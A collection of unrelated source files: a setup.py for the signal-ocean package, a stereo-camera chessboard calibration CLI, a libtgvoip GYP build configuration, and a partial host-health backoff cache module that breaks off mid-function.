from setuptools import setup, find_packages from os import path import re def read_file(file_name: str) -> str: here = path.abspath(path.dirname(__file__)) with open(path.join(here, file_name), encoding="utf-8") as f: return f.read() long_description = read_file("README.md") version = re.sub("\s+", "", read_file("version.txt")) setup( name="signal-ocean", version=version, description="Access Signal Ocean Platform data using Python.", long_description=long_description, long_description_content_type="text/markdown", author="Signal Ocean Developers", author_email="<EMAIL>", license="Apache 2.0", url="https://apis.signalocean.com/", packages=find_packages(exclude=["tests", "tests.*"]), python_requires=">=3.7", install_requires=[ "requests>=2.23.0,<3", "python-dateutil>=2.8.1,<3", "pandas>=1.0.3,<2", ], classifiers=[ "Development Status :: 4 - Beta", "Programming Language :: Python :: 3.7", "Programming Language :: Python :: 3.8", "Programming Language :: Python :: 3.9", "License :: OSI Approved :: Apache Software License", ], project_urls={ "The Signal Group": "https://www.thesignalgroup.com/", "Signal Ocean": "https://www.signalocean.com/", "The Signal Ocean Platform": "https://app.signalocean.com", }, )

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src/rakali/cli/find_chessboards_stereo_live.py

sthysel/rakali

6

76264

""" Find chessboards in both frames of a stereo feed """ import logging from pathlib import Path import click import cv2 as cv import numpy as np from rakali import VideoPlayer from rakali.annotate import add_frame_labels from rakali.camera.chessboard import ChessboardFinder from rakali.stereo.reader import StereoCamera from rakali.video import go from rakali.video.writer import get_stereo_writer logging.basicConfig(level=logging.DEBUG) logger = logging.getLogger(__name__) NVR = "192.168.1.20" @click.command(context_settings=dict(max_content_width=120)) @click.version_option() @click.option( "-l", "--left-eye", help="Left eye, can be local USB cam (0|1|2..) or IP cam rtsp URL or file", default=f"http://{NVR}/axis-cgi/mjpg/video.cgi?&camera=1", show_default=True, ) @click.option( "-r", "--right-eye", help="Right eye, can be local USB cam (0|1|2..) or IP cam rtsp URL or file", default=f"http://{NVR}/axis-cgi/mjpg/video.cgi?&camera=2", show_default=True, ) @click.option( "-o", "--output-folder", help="Chessboard images store folder", default="~/rakali/stereo/chessboards/", show_default=True, ) @click.option( "--chessboard-rows", help="Chessboard rows", default=9, show_default=True, ) @click.option( "--chessboard-columns", help="Chessboard columns", default=6, show_default=True, ) def cli(left_eye, right_eye, output_folder, chessboard_rows, chessboard_columns): """ Find chessboard calibration images in both frames of the stereo pair """ out_path = Path(output_folder).expanduser() out_path.mkdir(parents=True, exist_ok=True) chessboard_size = (chessboard_columns, chessboard_rows) finder = ChessboardFinder(chessboard_size) stream = StereoCamera( left_src=left_eye, right_src=right_eye, ) player = VideoPlayer() with player, stream: original_writer = get_stereo_writer(stream, file_name="original_stereo.avi") annotated_writer = get_stereo_writer(stream, file_name="annotated_stereo.avi") frame_count = 0 good_count = 0 while go(): ok, frames = stream.read() frame_count += 1 if ok: good = [] annotated = [] # so we have a good stereo frame, now inspect each frame and if # a chessboard is found in each, save the pair to disk. for frame in frames.frames(): labels = [f"Stereo Calibrate {frame_count}"] display_frame = frame.copy() height, width, channels = display_frame.shape has_corners, corners = finder.corners(frame) if has_corners: good.append(True) finder.draw(display_frame, corners) labels.append("CHESSBOARD") else: good.append(False) labels.append("NO CHESSBOARD FOR YOU") add_frame_labels(display_frame, labels=labels) annotated.append(display_frame) if all(good): # both frames have verified chessboards save frames for analysis for side, frame in frames.calibration_named_frames(): cv.imwrite(f"{out_path}/{side}_{good_count:05}.jpg", frame) good_count += 1 player.show(np.hstack(annotated)) annotated_writer.stereo_write(annotated) original_writer.stereo_write(frames.frames())

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libtgvoip.gyp

seven1240/libtgvoip

3

142797

<filename>libtgvoip.gyp # GYP project file for TDesktop { 'targets': [ { 'target_name': 'libtgvoip', 'type': 'static_library', 'dependencies': [], 'defines': [ 'WEBRTC_APM_DEBUG_DUMP=0', 'TGVOIP_USE_DESKTOP_DSP', 'WEBRTC_NS_FLOAT', ], 'variables': { 'tgvoip_src_loc': '.', 'official_build_target%': '', 'linux_path_opus_include%': '<(DEPTH)/../../../Libraries/opus/include', }, 'include_dirs': [ '<(tgvoip_src_loc)/webrtc_dsp', '<(linux_path_opus_include)', ], 'direct_dependent_settings': { 'include_dirs': [ '<(tgvoip_src_loc)', ], }, 'export_dependent_settings': [], 'sources': [ '<(tgvoip_src_loc)/BlockingQueue.cpp', '<(tgvoip_src_loc)/BlockingQueue.h', '<(tgvoip_src_loc)/Buffers.cpp', '<(tgvoip_src_loc)/Buffers.h', '<(tgvoip_src_loc)/CongestionControl.cpp', '<(tgvoip_src_loc)/CongestionControl.h', '<(tgvoip_src_loc)/EchoCanceller.cpp', '<(tgvoip_src_loc)/EchoCanceller.h', '<(tgvoip_src_loc)/JitterBuffer.cpp', '<(tgvoip_src_loc)/JitterBuffer.h', '<(tgvoip_src_loc)/logging.cpp', '<(tgvoip_src_loc)/logging.h', '<(tgvoip_src_loc)/MediaStreamItf.cpp', '<(tgvoip_src_loc)/MediaStreamItf.h', '<(tgvoip_src_loc)/OpusDecoder.cpp', '<(tgvoip_src_loc)/OpusDecoder.h', '<(tgvoip_src_loc)/OpusEncoder.cpp', '<(tgvoip_src_loc)/OpusEncoder.h', '<(tgvoip_src_loc)/threading.h', '<(tgvoip_src_loc)/VoIPController.cpp', '<(tgvoip_src_loc)/VoIPGroupController.cpp', '<(tgvoip_src_loc)/VoIPController.h', '<(tgvoip_src_loc)/PrivateDefines.h', '<(tgvoip_src_loc)/VoIPServerConfig.cpp', '<(tgvoip_src_loc)/VoIPServerConfig.h', '<(tgvoip_src_loc)/audio/AudioInput.cpp', '<(tgvoip_src_loc)/audio/AudioInput.h', '<(tgvoip_src_loc)/audio/AudioOutput.cpp', '<(tgvoip_src_loc)/audio/AudioOutput.h', '<(tgvoip_src_loc)/audio/Resampler.cpp', '<(tgvoip_src_loc)/audio/Resampler.h', '<(tgvoip_src_loc)/NetworkSocket.cpp', '<(tgvoip_src_loc)/NetworkSocket.h', '<(tgvoip_src_loc)/PacketReassembler.cpp', '<(tgvoip_src_loc)/PacketReassembler.h', '<(tgvoip_src_loc)/MessageThread.cpp', '<(tgvoip_src_loc)/MessageThread.h', '<(tgvoip_src_loc)/audio/AudioIO.cpp', '<(tgvoip_src_loc)/audio/AudioIO.h', '<(tgvoip_src_loc)/video/ScreamCongestionController.cpp', '<(tgvoip_src_loc)/video/ScreamCongestionController.h', '<(tgvoip_src_loc)/video/VideoSource.cpp', '<(tgvoip_src_loc)/video/VideoSource.h', '<(tgvoip_src_loc)/video/VideoRenderer.cpp', '<(tgvoip_src_loc)/video/VideoRenderer.h', '<(tgvoip_src_loc)/video/VideoPacketSender.cpp', '<(tgvoip_src_loc)/video/VideoPacketSender.h', '<(tgvoip_src_loc)/video/VideoFEC.cpp', '<(tgvoip_src_loc)/video/VideoFEC.h', '<(tgvoip_src_loc)/json11.cpp', '<(tgvoip_src_loc)/json11.hpp', # Windows '<(tgvoip_src_loc)/os/windows/NetworkSocketWinsock.cpp', '<(tgvoip_src_loc)/os/windows/NetworkSocketWinsock.h', '<(tgvoip_src_loc)/os/windows/AudioInputWave.cpp', '<(tgvoip_src_loc)/os/windows/AudioInputWave.h', '<(tgvoip_src_loc)/os/windows/AudioOutputWave.cpp', '<(tgvoip_src_loc)/os/windows/AudioOutputWave.h', '<(tgvoip_src_loc)/os/windows/AudioOutputWASAPI.cpp', '<(tgvoip_src_loc)/os/windows/AudioOutputWASAPI.h', '<(tgvoip_src_loc)/os/windows/AudioInputWASAPI.cpp', '<(tgvoip_src_loc)/os/windows/AudioInputWASAPI.h', '<(tgvoip_src_loc)/os/windows/WindowsSpecific.cpp', '<(tgvoip_src_loc)/os/windows/WindowsSpecific.h', # macOS '<(tgvoip_src_loc)/os/darwin/AudioInputAudioUnit.cpp', '<(tgvoip_src_loc)/os/darwin/AudioInputAudioUnit.h', '<(tgvoip_src_loc)/os/darwin/AudioOutputAudioUnit.cpp', '<(tgvoip_src_loc)/os/darwin/AudioOutputAudioUnit.h', '<(tgvoip_src_loc)/os/darwin/AudioInputAudioUnitOSX.cpp', '<(tgvoip_src_loc)/os/darwin/AudioInputAudioUnitOSX.h', '<(tgvoip_src_loc)/os/darwin/AudioOutputAudioUnitOSX.cpp', '<(tgvoip_src_loc)/os/darwin/AudioOutputAudioUnitOSX.h', '<(tgvoip_src_loc)/os/darwin/AudioUnitIO.cpp', '<(tgvoip_src_loc)/os/darwin/AudioUnitIO.h', '<(tgvoip_src_loc)/os/darwin/DarwinSpecific.mm', '<(tgvoip_src_loc)/os/darwin/DarwinSpecific.h', # Linux '<(tgvoip_src_loc)/os/linux/AudioInputALSA.cpp', '<(tgvoip_src_loc)/os/linux/AudioInputALSA.h', '<(tgvoip_src_loc)/os/linux/AudioOutputALSA.cpp', '<(tgvoip_src_loc)/os/linux/AudioOutputALSA.h', '<(tgvoip_src_loc)/os/linux/AudioOutputPulse.cpp', '<(tgvoip_src_loc)/os/linux/AudioOutputPulse.h', '<(tgvoip_src_loc)/os/linux/AudioInputPulse.cpp', '<(tgvoip_src_loc)/os/linux/AudioInputPulse.h', '<(tgvoip_src_loc)/os/linux/AudioPulse.cpp', '<(tgvoip_src_loc)/os/linux/AudioPulse.h', # POSIX '<(tgvoip_src_loc)/os/posix/NetworkSocketPosix.cpp', '<(tgvoip_src_loc)/os/posix/NetworkSocketPosix.h', # WebRTC APM '<(tgvoip_src_loc)/webrtc_dsp/system_wrappers/include/field_trial.h', '<(tgvoip_src_loc)/webrtc_dsp/system_wrappers/include/cpu_features_wrapper.h', '<(tgvoip_src_loc)/webrtc_dsp/system_wrappers/include/asm_defines.h', '<(tgvoip_src_loc)/webrtc_dsp/system_wrappers/include/metrics.h', '<(tgvoip_src_loc)/webrtc_dsp/system_wrappers/include/compile_assert_c.h', '<(tgvoip_src_loc)/webrtc_dsp/system_wrappers/source/field_trial.cc', '<(tgvoip_src_loc)/webrtc_dsp/system_wrappers/source/metrics.cc', '<(tgvoip_src_loc)/webrtc_dsp/system_wrappers/source/cpu_features.cc', '<(tgvoip_src_loc)/webrtc_dsp/typedefs.h', '<(tgvoip_src_loc)/webrtc_dsp/absl/strings/internal/memutil.h', '<(tgvoip_src_loc)/webrtc_dsp/absl/strings/internal/memutil.cc', '<(tgvoip_src_loc)/webrtc_dsp/absl/strings/string_view.cc', '<(tgvoip_src_loc)/webrtc_dsp/absl/strings/ascii.h', '<(tgvoip_src_loc)/webrtc_dsp/absl/strings/ascii.cc', '<(tgvoip_src_loc)/webrtc_dsp/absl/strings/string_view.h', '<(tgvoip_src_loc)/webrtc_dsp/absl/types/optional.h', '<(tgvoip_src_loc)/webrtc_dsp/absl/types/bad_optional_access.h', '<(tgvoip_src_loc)/webrtc_dsp/absl/types/bad_optional_access.cc', '<(tgvoip_src_loc)/webrtc_dsp/absl/types/optional.cc', '<(tgvoip_src_loc)/webrtc_dsp/absl/memory/memory.h', '<(tgvoip_src_loc)/webrtc_dsp/absl/meta/type_traits.h', '<(tgvoip_src_loc)/webrtc_dsp/absl/algorithm/algorithm.h', '<(tgvoip_src_loc)/webrtc_dsp/absl/container/inlined_vector.h', '<(tgvoip_src_loc)/webrtc_dsp/absl/base/policy_checks.h', '<(tgvoip_src_loc)/webrtc_dsp/absl/base/port.h', '<(tgvoip_src_loc)/webrtc_dsp/absl/base/config.h', '<(tgvoip_src_loc)/webrtc_dsp/absl/base/internal/raw_logging.cc', '<(tgvoip_src_loc)/webrtc_dsp/absl/base/internal/throw_delegate.cc', '<(tgvoip_src_loc)/webrtc_dsp/absl/base/internal/invoke.h', '<(tgvoip_src_loc)/webrtc_dsp/absl/base/internal/inline_variable.h', '<(tgvoip_src_loc)/webrtc_dsp/absl/base/internal/atomic_hook.h', '<(tgvoip_src_loc)/webrtc_dsp/absl/base/internal/identity.h', '<(tgvoip_src_loc)/webrtc_dsp/absl/base/internal/raw_logging.h', '<(tgvoip_src_loc)/webrtc_dsp/absl/base/internal/throw_delegate.h', '<(tgvoip_src_loc)/webrtc_dsp/absl/base/attributes.h', '<(tgvoip_src_loc)/webrtc_dsp/absl/base/macros.h', '<(tgvoip_src_loc)/webrtc_dsp/absl/base/optimization.h', '<(tgvoip_src_loc)/webrtc_dsp/absl/base/log_severity.h', '<(tgvoip_src_loc)/webrtc_dsp/absl/utility/utility.h', '<(tgvoip_src_loc)/webrtc_dsp/rtc_base/string_to_number.h', '<(tgvoip_src_loc)/webrtc_dsp/rtc_base/constructormagic.h', '<(tgvoip_src_loc)/webrtc_dsp/rtc_base/race_checker.cc', '<(tgvoip_src_loc)/webrtc_dsp/rtc_base/strings/string_builder.h', '<(tgvoip_src_loc)/webrtc_dsp/rtc_base/strings/string_builder.cc', '<(tgvoip_src_loc)/webrtc_dsp/rtc_base/event_tracer.h', '<(tgvoip_src_loc)/webrtc_dsp/rtc_base/stringencode.h', '<(tgvoip_src_loc)/webrtc_dsp/rtc_base/memory/aligned_malloc.cc', '<(tgvoip_src_loc)/webrtc_dsp/rtc_base/memory/aligned_malloc.h', '<(tgvoip_src_loc)/webrtc_dsp/rtc_base/timeutils.cc', '<(tgvoip_src_loc)/webrtc_dsp/rtc_base/event.h', '<(tgvoip_src_loc)/webrtc_dsp/rtc_base/ignore_wundef.h', '<(tgvoip_src_loc)/webrtc_dsp/rtc_base/stringutils.h', '<(tgvoip_src_loc)/webrtc_dsp/rtc_base/arraysize.h', '<(tgvoip_src_loc)/webrtc_dsp/rtc_base/platform_file.cc', '<(tgvoip_src_loc)/webrtc_dsp/rtc_base/swap_queue.h', '<(tgvoip_src_loc)/webrtc_dsp/rtc_base/string_to_number.cc', '<(tgvoip_src_loc)/webrtc_dsp/rtc_base/trace_event.h', '<(tgvoip_src_loc)/webrtc_dsp/rtc_base/checks.h', '<(tgvoip_src_loc)/webrtc_dsp/rtc_base/deprecation.h', '<(tgvoip_src_loc)/webrtc_dsp/rtc_base/thread_checker_impl.cc', '<(tgvoip_src_loc)/webrtc_dsp/rtc_base/sanitizer.h', '<(tgvoip_src_loc)/webrtc_dsp/rtc_base/scoped_ref_ptr.h', '<(tgvoip_src_loc)/webrtc_dsp/rtc_base/logging.h', '<(tgvoip_src_loc)/webrtc_dsp/rtc_base/timeutils.h', '<(tgvoip_src_loc)/webrtc_dsp/rtc_base/atomicops.h', '<(tgvoip_src_loc)/webrtc_dsp/rtc_base/stringencode.cc', '<(tgvoip_src_loc)/webrtc_dsp/rtc_base/stringutils.cc', '<(tgvoip_src_loc)/webrtc_dsp/rtc_base/checks.cc', '<(tgvoip_src_loc)/webrtc_dsp/rtc_base/numerics/safe_minmax.h', '<(tgvoip_src_loc)/webrtc_dsp/rtc_base/numerics/safe_conversions.h', '<(tgvoip_src_loc)/webrtc_dsp/rtc_base/numerics/safe_conversions_impl.h', '<(tgvoip_src_loc)/webrtc_dsp/rtc_base/numerics/safe_compare.h', '<(tgvoip_src_loc)/webrtc_dsp/rtc_base/system/unused.h', '<(tgvoip_src_loc)/webrtc_dsp/rtc_base/system/inline.h', '<(tgvoip_src_loc)/webrtc_dsp/rtc_base/system/ignore_warnings.h', '<(tgvoip_src_loc)/webrtc_dsp/rtc_base/system/asm_defines.h', '<(tgvoip_src_loc)/webrtc_dsp/rtc_base/system/rtc_export.h', '<(tgvoip_src_loc)/webrtc_dsp/rtc_base/system/arch.h', '<(tgvoip_src_loc)/webrtc_dsp/rtc_base/platform_thread.cc', '<(tgvoip_src_loc)/webrtc_dsp/rtc_base/platform_thread.h', '<(tgvoip_src_loc)/webrtc_dsp/rtc_base/platform_thread_types.h', '<(tgvoip_src_loc)/webrtc_dsp/rtc_base/protobuf_utils.h', '<(tgvoip_src_loc)/webrtc_dsp/rtc_base/thread_annotations.h', '<(tgvoip_src_loc)/webrtc_dsp/rtc_base/gtest_prod_util.h', '<(tgvoip_src_loc)/webrtc_dsp/rtc_base/function_view.h', '<(tgvoip_src_loc)/webrtc_dsp/rtc_base/criticalsection.h', '<(tgvoip_src_loc)/webrtc_dsp/rtc_base/criticalsection.cc', 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'<(tgvoip_src_loc)/webrtc_dsp/common_audio/resampler/resampler.cc', '<(tgvoip_src_loc)/webrtc_dsp/common_audio/resampler/sinc_resampler_sse.cc', '<(tgvoip_src_loc)/webrtc_dsp/common_audio/resampler/include/push_resampler.h', '<(tgvoip_src_loc)/webrtc_dsp/common_audio/resampler/include/resampler.h', '<(tgvoip_src_loc)/webrtc_dsp/common_audio/resampler/push_sinc_resampler.h', '<(tgvoip_src_loc)/webrtc_dsp/common_audio/resampler/push_resampler.cc', '<(tgvoip_src_loc)/webrtc_dsp/common_audio/resampler/sinusoidal_linear_chirp_source.h', '<(tgvoip_src_loc)/webrtc_dsp/common_audio/resampler/sinc_resampler.cc', '<(tgvoip_src_loc)/webrtc_dsp/common_audio/resampler/sinusoidal_linear_chirp_source.cc', '<(tgvoip_src_loc)/webrtc_dsp/common_audio/fir_filter_factory.h', '<(tgvoip_src_loc)/webrtc_dsp/common_audio/audio_converter.h', '<(tgvoip_src_loc)/webrtc_dsp/common_audio/wav_file.cc', '<(tgvoip_src_loc)/webrtc_dsp/common_audio/third_party/spl_sqrt_floor/spl_sqrt_floor.c', '<(tgvoip_src_loc)/webrtc_dsp/common_audio/third_party/spl_sqrt_floor/spl_sqrt_floor.h', '<(tgvoip_src_loc)/webrtc_dsp/common_audio/third_party/fft4g/fft4g.c', '<(tgvoip_src_loc)/webrtc_dsp/common_audio/third_party/fft4g/fft4g.h', '<(tgvoip_src_loc)/webrtc_dsp/common_audio/audio_converter.cc', '<(tgvoip_src_loc)/webrtc_dsp/common_audio/real_fourier.cc', '<(tgvoip_src_loc)/webrtc_dsp/common_audio/channel_buffer.h', '<(tgvoip_src_loc)/webrtc_dsp/common_audio/real_fourier.h', '<(tgvoip_src_loc)/webrtc_dsp/common_audio/sparse_fir_filter.cc', '<(tgvoip_src_loc)/webrtc_dsp/common_audio/smoothing_filter.cc', '<(tgvoip_src_loc)/webrtc_dsp/common_audio/fir_filter_c.cc', '<(tgvoip_src_loc)/webrtc_dsp/common_audio/ring_buffer.c', '<(tgvoip_src_loc)/webrtc_dsp/common_audio/fir_filter_c.h', '<(tgvoip_src_loc)/webrtc_dsp/common_audio/signal_processing/complex_fft_tables.h', '<(tgvoip_src_loc)/webrtc_dsp/common_audio/signal_processing/complex_fft.c', '<(tgvoip_src_loc)/webrtc_dsp/common_audio/signal_processing/filter_ma_fast_q12.c', '<(tgvoip_src_loc)/webrtc_dsp/common_audio/signal_processing/levinson_durbin.c', '<(tgvoip_src_loc)/webrtc_dsp/common_audio/signal_processing/dot_product_with_scale.cc', '<(tgvoip_src_loc)/webrtc_dsp/common_audio/signal_processing/auto_corr_to_refl_coef.c', '<(tgvoip_src_loc)/webrtc_dsp/common_audio/signal_processing/resample_by_2_internal.c', '<(tgvoip_src_loc)/webrtc_dsp/common_audio/signal_processing/energy.c', '<(tgvoip_src_loc)/webrtc_dsp/common_audio/signal_processing/sqrt_of_one_minus_x_squared.c', '<(tgvoip_src_loc)/webrtc_dsp/common_audio/signal_processing/downsample_fast.c', '<(tgvoip_src_loc)/webrtc_dsp/common_audio/signal_processing/splitting_filter1.c', '<(tgvoip_src_loc)/webrtc_dsp/common_audio/signal_processing/filter_ar_fast_q12.c', '<(tgvoip_src_loc)/webrtc_dsp/common_audio/signal_processing/spl_init.c', '<(tgvoip_src_loc)/webrtc_dsp/common_audio/signal_processing/lpc_to_refl_coef.c', '<(tgvoip_src_loc)/webrtc_dsp/common_audio/signal_processing/cross_correlation.c', '<(tgvoip_src_loc)/webrtc_dsp/common_audio/signal_processing/include/signal_processing_library.h', '<(tgvoip_src_loc)/webrtc_dsp/common_audio/signal_processing/include/real_fft.h', '<(tgvoip_src_loc)/webrtc_dsp/common_audio/signal_processing/include/spl_inl.h', '<(tgvoip_src_loc)/webrtc_dsp/common_audio/signal_processing/division_operations.c', '<(tgvoip_src_loc)/webrtc_dsp/common_audio/signal_processing/auto_correlation.c', '<(tgvoip_src_loc)/webrtc_dsp/common_audio/signal_processing/get_scaling_square.c', '<(tgvoip_src_loc)/webrtc_dsp/common_audio/signal_processing/dot_product_with_scale.h', '<(tgvoip_src_loc)/webrtc_dsp/common_audio/signal_processing/resample_by_2_internal.h', '<(tgvoip_src_loc)/webrtc_dsp/common_audio/signal_processing/resample.c', '<(tgvoip_src_loc)/webrtc_dsp/common_audio/signal_processing/min_max_operations.c', '<(tgvoip_src_loc)/webrtc_dsp/common_audio/signal_processing/refl_coef_to_lpc.c', '<(tgvoip_src_loc)/webrtc_dsp/common_audio/signal_processing/filter_ar.c', '<(tgvoip_src_loc)/webrtc_dsp/common_audio/signal_processing/vector_scaling_operations.c', '<(tgvoip_src_loc)/webrtc_dsp/common_audio/signal_processing/resample_fractional.c', '<(tgvoip_src_loc)/webrtc_dsp/common_audio/signal_processing/real_fft.c', '<(tgvoip_src_loc)/webrtc_dsp/common_audio/signal_processing/ilbc_specific_functions.c', '<(tgvoip_src_loc)/webrtc_dsp/common_audio/signal_processing/complex_bit_reverse.c', '<(tgvoip_src_loc)/webrtc_dsp/common_audio/signal_processing/randomization_functions.c', '<(tgvoip_src_loc)/webrtc_dsp/common_audio/signal_processing/copy_set_operations.c', '<(tgvoip_src_loc)/webrtc_dsp/common_audio/signal_processing/resample_by_2.c', '<(tgvoip_src_loc)/webrtc_dsp/common_audio/signal_processing/get_hanning_window.c', '<(tgvoip_src_loc)/webrtc_dsp/common_audio/signal_processing/resample_48khz.c', '<(tgvoip_src_loc)/webrtc_dsp/common_audio/signal_processing/spl_inl.c', '<(tgvoip_src_loc)/webrtc_dsp/common_audio/signal_processing/spl_sqrt.c', '<(tgvoip_src_loc)/webrtc_dsp/common_audio/wav_header.h', '<(tgvoip_src_loc)/webrtc_dsp/common_audio/vad/vad_sp.c', '<(tgvoip_src_loc)/webrtc_dsp/common_audio/vad/vad.cc', '<(tgvoip_src_loc)/webrtc_dsp/common_audio/vad/webrtc_vad.c', '<(tgvoip_src_loc)/webrtc_dsp/common_audio/vad/vad_core.h', '<(tgvoip_src_loc)/webrtc_dsp/common_audio/vad/include/vad.h', '<(tgvoip_src_loc)/webrtc_dsp/common_audio/vad/include/webrtc_vad.h', '<(tgvoip_src_loc)/webrtc_dsp/common_audio/vad/vad_gmm.h', '<(tgvoip_src_loc)/webrtc_dsp/common_audio/vad/vad_filterbank.c', '<(tgvoip_src_loc)/webrtc_dsp/common_audio/vad/vad_core.c', '<(tgvoip_src_loc)/webrtc_dsp/common_audio/vad/vad_sp.h', '<(tgvoip_src_loc)/webrtc_dsp/common_audio/vad/vad_filterbank.h', '<(tgvoip_src_loc)/webrtc_dsp/common_audio/vad/vad_gmm.c', # ARM/NEON sources # TODO check if there's a good way to make these compile with ARM ports of TDesktop #'<(tgvoip_src_loc)/webrtc_dsp/modules/audio_processing/ns/nsx_core_neon.c', #'<(tgvoip_src_loc)/webrtc_dsp/modules/audio_processing/aec/aec_core_neon.cc', #'<(tgvoip_src_loc)/webrtc_dsp/modules/audio_processing/aecm/aecm_core_neon.cc', #'<(tgvoip_src_loc)/webrtc_dsp/modules/audio_processing/utility/ooura_fft_tables_neon_sse2.h', #'<(tgvoip_src_loc)/webrtc_dsp/modules/audio_processing/utility/ooura_fft_neon.cc', #'<(tgvoip_src_loc)/webrtc_dsp/common_audio/fir_filter_neon.cc', #'<(tgvoip_src_loc)/webrtc_dsp/common_audio/resampler/sinc_resampler_neon.cc', #'<(tgvoip_src_loc)/webrtc_dsp/common_audio/third_party/spl_sqrt_floor/spl_sqrt_floor_arm.S', #'<(tgvoip_src_loc)/webrtc_dsp/common_audio/fir_filter_neon.h', #'<(tgvoip_src_loc)/webrtc_dsp/common_audio/signal_processing/downsample_fast_neon.c', #'<(tgvoip_src_loc)/webrtc_dsp/common_audio/signal_processing/complex_bit_reverse_arm.S', #'<(tgvoip_src_loc)/webrtc_dsp/common_audio/signal_processing/include/spl_inl_armv7.h', #'<(tgvoip_src_loc)/webrtc_dsp/common_audio/signal_processing/min_max_operations_neon.c', #'<(tgvoip_src_loc)/webrtc_dsp/common_audio/signal_processing/cross_correlation_neon.c', #'<(tgvoip_src_loc)/webrtc_dsp/common_audio/signal_processing/filter_ar_fast_q12_armv7.S', ], 'libraries': [], 'configurations': { 'Debug': {}, 'Release': {}, }, 'conditions': [ [ '"<(OS)" != "win"', { 'sources/': [['exclude', '<(tgvoip_src_loc)/os/windows/']], }, { 'sources/': [['exclude', '<(tgvoip_src_loc)/os/posix/']], }, ], [ '"<(OS)" != "mac"', { 'sources/': [['exclude', '<(tgvoip_src_loc)/os/darwin/']], }, ], [ '"<(OS)" != "linux"', { 'sources/': [['exclude', '<(tgvoip_src_loc)/os/linux/']], }, ], [ '"<(OS)" == "mac"', { 'xcode_settings': { 'CLANG_CXX_LANGUAGE_STANDARD': 'c++11', 'ALWAYS_SEARCH_USER_PATHS': 'NO', }, 'defines': [ 'WEBRTC_POSIX', 'WEBRTC_MAC', 'TARGET_OS_OSX', ], 'sources': [ '<(tgvoip_src_loc)/webrtc_dsp/rtc_base/logging_mac.mm', '<(tgvoip_src_loc)/webrtc_dsp/rtc_base/logging_mac.h', ], 'conditions': [ [ '"<(official_build_target)" == "mac32"', { 'xcode_settings': { 'MACOSX_DEPLOYMENT_TARGET': '10.6', 'OTHER_CPLUSPLUSFLAGS': [ '-nostdinc++' ], }, 'include_dirs': [ '/usr/local/macold/include/c++/v1', '<(DEPTH)/../../../Libraries/macold/openssl/include', ], 'defines': [ 'TARGET_OSX32', ], }, { 'xcode_settings': { 'MACOSX_DEPLOYMENT_TARGET': '10.8', 'CLANG_CXX_LIBRARY': 'libc++', }, 'include_dirs': [ '<(DEPTH)/../../../Libraries/openssl/include', ], 'direct_dependent_settings': { 'linkflags': [ '-framework VideoToolbox', ], }, 'sources': [ '<(tgvoip_src_loc)/os/darwin/TGVVideoRenderer.mm', '<(tgvoip_src_loc)/os/darwin/TGVVideoRenderer.h', '<(tgvoip_src_loc)/os/darwin/TGVVideoSource.mm', '<(tgvoip_src_loc)/os/darwin/TGVVideoSource.h', '<(tgvoip_src_loc)/os/darwin/VideoToolboxEncoderSource.mm', '<(tgvoip_src_loc)/os/darwin/VideoToolboxEncoderSource.h', '<(tgvoip_src_loc)/os/darwin/SampleBufferDisplayLayerRenderer.mm', '<(tgvoip_src_loc)/os/darwin/SampleBufferDisplayLayerRenderer.h', ], }], ['"<(official_build_target)" == "macstore"', { 'defines': [ 'TGVOIP_NO_OSX_PRIVATE_API', ], }], ], }, ], [ '"<(OS)" == "win"', { 'msbuild_toolset': 'v141', 'defines': [ 'NOMINMAX', '_USING_V110_SDK71_', 'TGVOIP_WINXP_COMPAT', 'WEBRTC_WIN', ], 'libraries': [ 'winmm', 'ws2_32', 'kernel32', 'user32', ], 'msvs_cygwin_shell': 0, 'msvs_settings': { 'VCCLCompilerTool': { 'ProgramDataBaseFileName': '$(OutDir)\\$(ProjectName).pdb', 'DebugInformationFormat': '3', # Program Database (/Zi) 'AdditionalOptions': [ '/MP', # Enable multi process build. '/EHsc', # Catch C++ exceptions only, extern C functions never throw a C++ exception. '/wd4068', # Disable "warning C4068: unknown pragma" ], 'TreatWChar_tAsBuiltInType': 'false', }, }, 'msvs_external_builder_build_cmd': [ 'ninja.exe', '-C', '$(OutDir)', '-k0', '$(ProjectName)', ], 'configurations': { 'Debug': { 'defines': [ '_DEBUG', ], 'include_dirs': [ '<(DEPTH)/../../../Libraries/openssl/Debug/include', ], 'msvs_settings': { 'VCCLCompilerTool': { 'Optimization': '0', # Disabled (/Od) 'RuntimeLibrary': '1', # Multi-threaded Debug (/MTd) 'RuntimeTypeInfo': 'true', }, 'VCLibrarianTool': { 'AdditionalOptions': [ '/NODEFAULTLIB:LIBCMT' ] } }, }, 'Release': { 'defines': [ 'NDEBUG', ], 'include_dirs': [ '<(DEPTH)/../../../Libraries/openssl/Release/include', ], 'msvs_settings': { 'VCCLCompilerTool': { 'Optimization': '2', # Maximize Speed (/O2) 'InlineFunctionExpansion': '2', # Any suitable (/Ob2) 'EnableIntrinsicFunctions': 'true', # Yes (/Oi) 'FavorSizeOrSpeed': '1', # Favor fast code (/Ot) 'RuntimeLibrary': '0', # Multi-threaded (/MT) 'EnableEnhancedInstructionSet': '2', # Streaming SIMD Extensions 2 (/arch:SSE2) 'WholeProgramOptimization': 'true', # /GL }, 'VCLibrarianTool': { 'AdditionalOptions': [ '/LTCG', ] }, }, }, }, }, ], [ '"<(OS)" == "linux"', { 'defines': [ 'WEBRTC_POSIX', 'WEBRTC_LINUX', ], 'conditions': [ [ '"<!(uname -m)" == "i686"', { 'cflags_cc': [ '-msse2', ], }] ], 'direct_dependent_settings': { 'libraries': [ ], }, }, ], ], }, ], }

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src/lib/sd2/host_health.py

zachkont/sd2

0

76892

#!/usr/bin/env python ############################################################################# # Copyright (c) 2017 SiteWare Corp. All right reserved ############################################################################# """A small cache that keeps track of unhealthy hosts and backs off from using them""" import time import logging unhealthy_hosts = {} def set_host_unhealthy(hostname): logging.warning("HH:SHOU %s", hostname) entry = unhealthy_hosts.get(hostname) if entry is None: entry = { 'successes':0, 'failures': 5 # very first time unhealthy? shut it down... } unhealthy_hosts[hostname] = entry entry["failures"] += 1 entry["timestamp"] = time.time() logging.warning("HH:SHOU:LL {} {}".format(hostname, entry)) def set_host_healthy(hostname): logging.debug("HH:SHOH %s", hostname) entry = unhealthy_hosts.get(hostname) if entry is None: entry = { 'timestamp': time.time(), 'successes': 0, } unhealthy_hosts[hostname] = entry entry['successes'] += 1 entry['failures'] = 0 def is_host_healthy(hostname): hostentry = unhealthy_hosts.get(hostname) if hostentry is None: return True if (hostentry.get('failures') and (time.time() - hostentry['timestamp']) < min(60 * 60, 2 ^ hostentry['failures'])) : logging.warning("HH:IHOU {} {}".format(hostname, hostentry)) return False return True def set_host_health(hostname, is_healthy): if is_healthy: 